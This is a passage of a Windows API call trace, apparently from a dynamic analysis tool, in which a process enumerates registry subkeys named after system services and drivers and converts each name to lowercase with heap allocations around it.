lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0210.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1c88, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0210.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.049] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.049] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0210.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0210.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f18e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0210.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.050] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0210.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0210.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1c88, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0210.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.050] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0210.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0210.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f18e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0210.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.050] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0210.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0210.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1c88, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0210.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.051] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0210.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0210.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0210.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.051] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0210.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0210.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.051] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0210.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0210.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0210.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.051] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0210.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0210.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.052] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0210.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0210.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f18e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0210.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.052] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0210.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0210.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.052] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0210.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0210.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.052] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0210.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0210.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.053] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0210.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0210.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0210.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.053] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0210.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0210.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1c88, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0210.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.053] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0210.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0210.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0210.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.054] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0210.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0210.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.054] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0210.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0210.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0210.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.054] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0210.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0210.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.054] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0210.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0210.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.055] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0210.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0210.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0210.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) 